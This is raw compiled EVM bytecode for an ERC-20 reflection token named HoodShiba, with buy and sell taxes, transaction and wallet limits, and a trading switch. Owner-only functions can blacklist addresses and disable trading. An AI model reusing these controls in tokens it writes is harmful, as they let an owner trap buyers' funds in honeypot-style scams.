0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612eaa565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612f7b565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fd3565b61087b565b604051610264919061302e565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f91906130a8565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba91906130d2565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e591906130ed565b6108d0565b6040516102f7919061302e565b60405180910390f35b34801561030c57600080fd5b506103156109a9565b60405161032291906130d2565b60405180910390f35b34801561033757600080fd5b506103406109af565b60405161034d919061315c565b60405180910390f35b34801561036257600080fd5b5061036b6109b8565b6040516103789190613186565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906131a1565b6109de565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906131fa565b610ace565b005b3480156103df57600080fd5b506103e8610b80565b005b3480156103f657600080fd5b50610411600480360381019061040c91906131a1565b610c51565b60405161041e91906130d2565b60405180910390f35b34801561043357600080fd5b5061043c610ca2565b005b34801561044a57600080fd5b5061046560048036038101906104609190613227565b610df5565b005b34801561047357600080fd5b5061047c610ea5565b60405161048991906130d2565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b491906131a1565b610eab565b6040516104c691906130d2565b60405180910390f35b3480156104db57600080fd5b506104e4610ec3565b6040516104f19190613186565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906131fa565b610eec565b005b34801561052f57600080fd5b50610538610f9e565b60405161054591906130d2565b60405180910390f35b34801561055a57600080fd5b50610563610fa4565b6040516105709190612f7b565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b9190613227565b610fe1565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613254565b611080565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612fd3565b61127b565b6040516105ff919061302e565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a91906131a1565b611299565b60405161063c919061302e565b60405180910390f35b34801561065157600080fd5b5061065a6112b9565b005b34801561066857600080fd5b50610683600480360381019061067e9190613316565b611392565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613376565b6114cc565b6040516106b991906130d2565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190613227565b611553565b005b3480156106f757600080fd5b50610712600480360381019061070d91906131a1565b6115f2565b005b61071c6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a090613402565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd613422565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613480565b9150506107ac565b5050565b60606040518060400160405280600981526020017f486f6f6453686962610000000000000000000000000000000000000000000000815250905090565b600061088f6108886117b3565b84846117bb565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108dd848484611984565b61099e846108e96117b3565b6109998560405180606001604052806028815260200161407060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094f6117b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122079092919063ffffffff16565b6117bb565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e66117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a90613402565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad66117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a90613402565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc16117b3565b73ffffffffffffffffffffffffffffffffffffffff161480610c375750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1f6117b3565b73ffffffffffffffffffffffffffffffffffffffff16145b610c4057600080fd5b6000479050610c4e8161226b565b50565b6000610c9b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d7565b9050919050565b610caa6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e90613402565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfd6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8190613402565b60405180910390fd5b674563918244f40000811115610ea257806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ef46117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7890613402565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f486f6f6453000000000000000000000000000000000000000000000000000000815250905090565b610fe96117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106d90613402565b60405180910390fd5b8060188190555050565b6110886117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c90613402565b60405180910390fd5b60008410158015611127575060008411155b611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90613514565b60405180910390fd5b60008210158015611178575060088211155b6111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae90613580565b60405180910390fd5b600083101580156111c9575060008311155b611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff906135ec565b60405180910390fd5b6000811015801561121a5750600c8111155b611259576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125090613658565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061128f6112886117b3565b8484611984565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112fa6117b3565b73ffffffffffffffffffffffffffffffffffffffff1614806113705750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113586117b3565b73ffffffffffffffffffffffffffffffffffffffff16145b61137957600080fd5b600061138430610c51565b905061138f81612345565b50565b61139a6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611427576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141e90613402565b60405180910390fd5b60005b838390508110156114c657816005600086868581811061144d5761144c613422565b5b905060200201602081019061146291906131a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114be90613480565b91505061142a565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61155b6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115df90613402565b60405180910390fd5b8060178190555050565b6115fa6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e90613402565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ed906136ea565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361182a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118219061377c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611899576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118909061380e565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197791906130d2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ea906138a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5990613932565b60405180910390fd5b60008111611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c906139c4565b60405180910390fd5b611aad610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b1b5750611aeb610ec3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0657601560149054906101000a900460ff16611baa57611b3c610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613a56565b60405180910390fd5b5b601654811115611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be690613ac2565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c935750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990613b54565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d7f5760175481611d3484610c51565b611d3e9190613b74565b10611d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7590613c3c565b60405180910390fd5b5b6000611d8a30610c51565b9050600060185482101590506016548210611da55760165491505b808015611dbd575060158054906101000a900460ff16155b8015611e175750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e2f5750601560169054906101000a900460ff165b8015611e855750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611edb5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f0357611ee982612345565b60004790506000811115611f0157611f004761226b565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fad5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120605750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561205f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561206e57600090506121f5565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121195750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561213157600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121dc5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121f457600a54600c81905550600b54600d819055505b5b612201848484846125bc565b50505050565b600083831115829061224f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122469190612f7b565b60405180910390fd5b506000838561225e9190613c5c565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b5050565b600060065482111561231e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231590613d02565b60405180910390fd5b60006123286125e9565b905061233d818461261490919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561237c5761237b612d09565b5b6040519080825280602002602001820160405280156123aa5781602001602082028036833780820191505090505b50905030816000815181106123c2576123c1613422565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612469573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061248d9190613d37565b816001815181106124a1576124a0613422565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161256c959493929190613e5d565b600060405180830381600087803b15801561258657600080fd5b505af115801561259a573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125ca576125c961265e565b5b6125d584848461269b565b806125e3576125e2612866565b5b50505050565b60008060006125f661287a565b9150915061260d818361261490919063ffffffff16565b9250505090565b600061265683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128dc565b905092915050565b6000600c5414801561267257506000600d54145b61269957600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806126ad8761293f565b95509550955095509550955061270b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127a085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129f190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ec81612a4f565b6127f68483612b0c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161285391906130d2565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea0000090506128b0683635c9adc5dea0000060065461261490919063ffffffff16565b8210156128cf57600654683635c9adc5dea000009350935050506128d8565b81819350935050505b9091565b60008083118290612923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291a9190612f7b565b60405180910390fd5b50600083856129329190613ee6565b9050809150509392505050565b600080600080600080600080600061295c8a600c54600d54612b46565b925092509250600061296c6125e9565b9050600080600061297f8e878787612bdc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612207565b905092915050565b6000808284612a009190613b74565b905083811015612a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3c90613f63565b60405180910390fd5b8091505092915050565b6000612a596125e9565b90506000612a708284612c6590919063ffffffff16565b9050612ac481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129f190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b21826006546129a790919063ffffffff16565b600681905550612b3c816007546129f190919063ffffffff16565b6007819055505050565b600080600080612b726064612b64888a612c6590919063ffffffff16565b61261490919063ffffffff16565b90506000612b9c6064612b8e888b612c6590919063ffffffff16565b61261490919063ffffffff16565b90506000612bc582612bb7858c6129a790919063ffffffff16565b6129a790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bf58589612c6590919063ffffffff16565b90506000612c0c8689612c6590919063ffffffff16565b90506000612c238789612c6590919063ffffffff16565b90506000612c4c82612c3e85876129a790919063ffffffff16565b6129a790919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612c775760009050612cd9565b60008284612c859190613f83565b9050828482612c949190613ee6565b14612cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ccb9061404f565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d4182612cf8565b810181811067ffffffffffffffff82111715612d6057612d5f612d09565b5b80604052505050565b6000612d73612cdf565b9050612d7f8282612d38565b919050565b600067ffffffffffffffff821115612d9f57612d9e612d09565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612de082612db5565b9050919050565b612df081612dd5565b8114612dfb57600080fd5b50565b600081359050612e0d81612de7565b92915050565b6000612e26612e2184612d84565b612d69565b90508083825260208201905060208402830185811115612e4957612e48612db0565b5b835b81811015612e725780612e5e8882612dfe565b845260208401935050602081019050612e4b565b5050509392505050565b600082601f830112612e9157612e90612cf3565b5b8135612ea1848260208601612e13565b91505092915050565b600060208284031215612ec057612ebf612ce9565b5b600082013567ffffffffffffffff811115612ede57612edd612cee565b5b612eea84828501612e7c565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f2d578082015181840152602081019050612f12565b83811115612f3c576000848401525b50505050565b6000612f4d82612ef3565b612f578185612efe565b9350612f67818560208601612f0f565b612f7081612cf8565b840191505092915050565b60006020820190508181036000830152612f958184612f42565b905092915050565b6000819050919050565b612fb081612f9d565b8114612fbb57600080fd5b50565b600081359050612fcd81612fa7565b92915050565b60008060408385031215612fea57612fe9612ce9565b5b6000612ff885828601612dfe565b925050602061300985828601612fbe565b9150509250929050565b60008115159050919050565b61302881613013565b82525050565b6000602082019050613043600083018461301f565b92915050565b6000819050919050565b600061306e61306961306484612db5565b613049565b612db5565b9050919050565b600061308082613053565b9050919050565b600061309282613075565b9050919050565b6130a281613087565b82525050565b60006020820190506130bd6000830184613099565b92915050565b6130cc81612f9d565b82525050565b60006020820190506130e760008301846130c3565b92915050565b60008060006060848603121561310657613105612ce9565b5b600061311486828701612dfe565b935050602061312586828701612dfe565b925050604061313686828701612fbe565b9150509250925092565b600060ff82169050919050565b61315681613140565b82525050565b6000602082019050613171600083018461314d565b92915050565b61318081612dd5565b82525050565b600060208201905061319b6000830184613177565b92915050565b6000602082840312156131b7576131b6612ce9565b5b60006131c584828501612dfe565b91505092915050565b6131d781613013565b81146131e257600080fd5b50565b6000813590506131f4816131ce565b92915050565b6000602082840312156132105761320f612ce9565b5b600061321e848285016131e5565b91505092915050565b60006020828403121561323d5761323c612ce9565b5b600061324b84828501612fbe565b91505092915050565b6000806000806080858703121561326e5761326d612ce9565b5b600061327c87828801612fbe565b945050602061328d87828801612fbe565b935050604061329e87828801612fbe565b92505060606132af87828801612fbe565b91505092959194509250565b600080fd5b60008083601f8401126132d6576132d5612cf3565b5b8235905067ffffffffffffffff8111156132f3576132f26132bb565b5b60208301915083602082028301111561330f5761330e612db0565b5b9250929050565b60008060006040848603121561332f5761332e612ce9565b5b600084013567ffffffffffffffff81111561334d5761334c612cee565b5b613359868287016132c0565b9350935050602061336c868287016131e5565b9150509250925092565b6000806040838503121561338d5761338c612ce9565b5b600061339b85828601612dfe565b92505060206133ac85828601612dfe565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133ec602083612efe565b91506133f7826133b6565b602082019050919050565b6000602082019050818103600083015261341b816133df565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061348b82612f9d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036134bd576134bc613451565b5b600182019050919050565b7f4275792072657761726473000000000000000000000000000000000000000000600082015250565b60006134fe600b83612efe565b9150613509826134c8565b602082019050919050565b6000602082019050818103600083015261352d816134f1565b9050919050565b7f4275792074617800000000000000000000000000000000000000000000000000600082015250565b600061356a600783612efe565b915061357582613534565b602082019050919050565b600060208201905081810360008301526135998161355d565b9050919050565b7f53656c6c20726577617264730000000000000000000000000000000000000000600082015250565b60006135d6600c83612efe565b91506135e1826135a0565b602082019050919050565b60006020820190508181036000830152613605816135c9565b9050919050565b7f53656c6c20746178000000000000000000000000000000000000000000000000600082015250565b6000613642600883612efe565b915061364d8261360c565b602082019050919050565b6000602082019050818103600083015261367181613635565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006136d4602683612efe565b91506136df82613678565b604082019050919050565b60006020820190508181036000830152613703816136c7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613766602483612efe565b91506137718261370a565b604082019050919050565b6000602082019050818103600083015261379581613759565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006137f8602283612efe565b91506138038261379c565b604082019050919050565b60006020820190508181036000830152613827816137eb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061388a602583612efe565b91506138958261382e565b604082019050919050565b600060208201905081810360008301526138b98161387d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061391c602383612efe565b9150613927826138c0565b604082019050919050565b6000602082019050818103600083015261394b8161390f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006139ae602983612efe565b91506139b982613952565b604082019050919050565b600060208201905081810360008301526139dd816139a1565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613a40603f83612efe565b9150613a4b826139e4565b604082019050919050565b60006020820190508181036000830152613a6f81613a33565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613aac601c83612efe565b9150613ab782613a76565b602082019050919050565b60006020820190508181036000830152613adb81613a9f565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b3e602383612efe565b9150613b4982613ae2565b604082019050919050565b60006020820190508181036000830152613b6d81613b31565b9050919050565b6000613b7f82612f9d565b9150613b8a83612f9d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613bbf57613bbe613451565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613c26602383612efe565b9150613c3182613bca565b604082019050919050565b60006020820190508181036000830152613c5581613c19565b9050919050565b6000613c6782612f9d565b9150613c7283612f9d565b925082821015613c8557613c84613451565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613cec602a83612efe565b9150613cf782613c90565b604082019050919050565b60006020820190508181036000830152613d1b81613cdf565b9050919050565b600081519050613d3181612de7565b92915050565b600060208284031215613d4d57613d4c612ce9565b5b6000613d5b84828501613d22565b91505092915050565b6000819050919050565b6000613d89613d84613d7f84613d64565b613049565b612f9d565b9050919050565b613d9981613d6e565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613dd481612dd5565b82525050565b6000613de68383613dcb565b60208301905092915050565b6000602082019050919050565b6000613e0a82613d9f565b613e148185613daa565b9350613e1f83613dbb565b8060005b83811015613e50578151613e378882613dda565b9750613e4283613df2565b925050600181019050613e23565b5085935050505092915050565b600060a082019050613e7260008301886130c3565b613e7f6020830187613d90565b8181036040830152613e918186613dff565b9050613ea06060830185613177565b613ead60808301846130c3565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ef182612f9d565b9150613efc83612f9d565b925082613f0c57613f0b613eb7565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613f4d601b83612efe565b9150613f5882613f17565b602082019050919050565b60006020820190508181036000830152613f7c81613f40565b9050919050565b6000613f8e82612f9d565b9150613f9983612f9d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613fd257613fd1613451565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614039602183612efe565b915061404482613fdd565b604082019050919050565b600060208201905081810360008301526140688161402c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a0ddf6be052d2b2db1abcff0f17d82116ecdbc2dae93810a89d12368fcdaf14e64736f6c634300080d0033
|
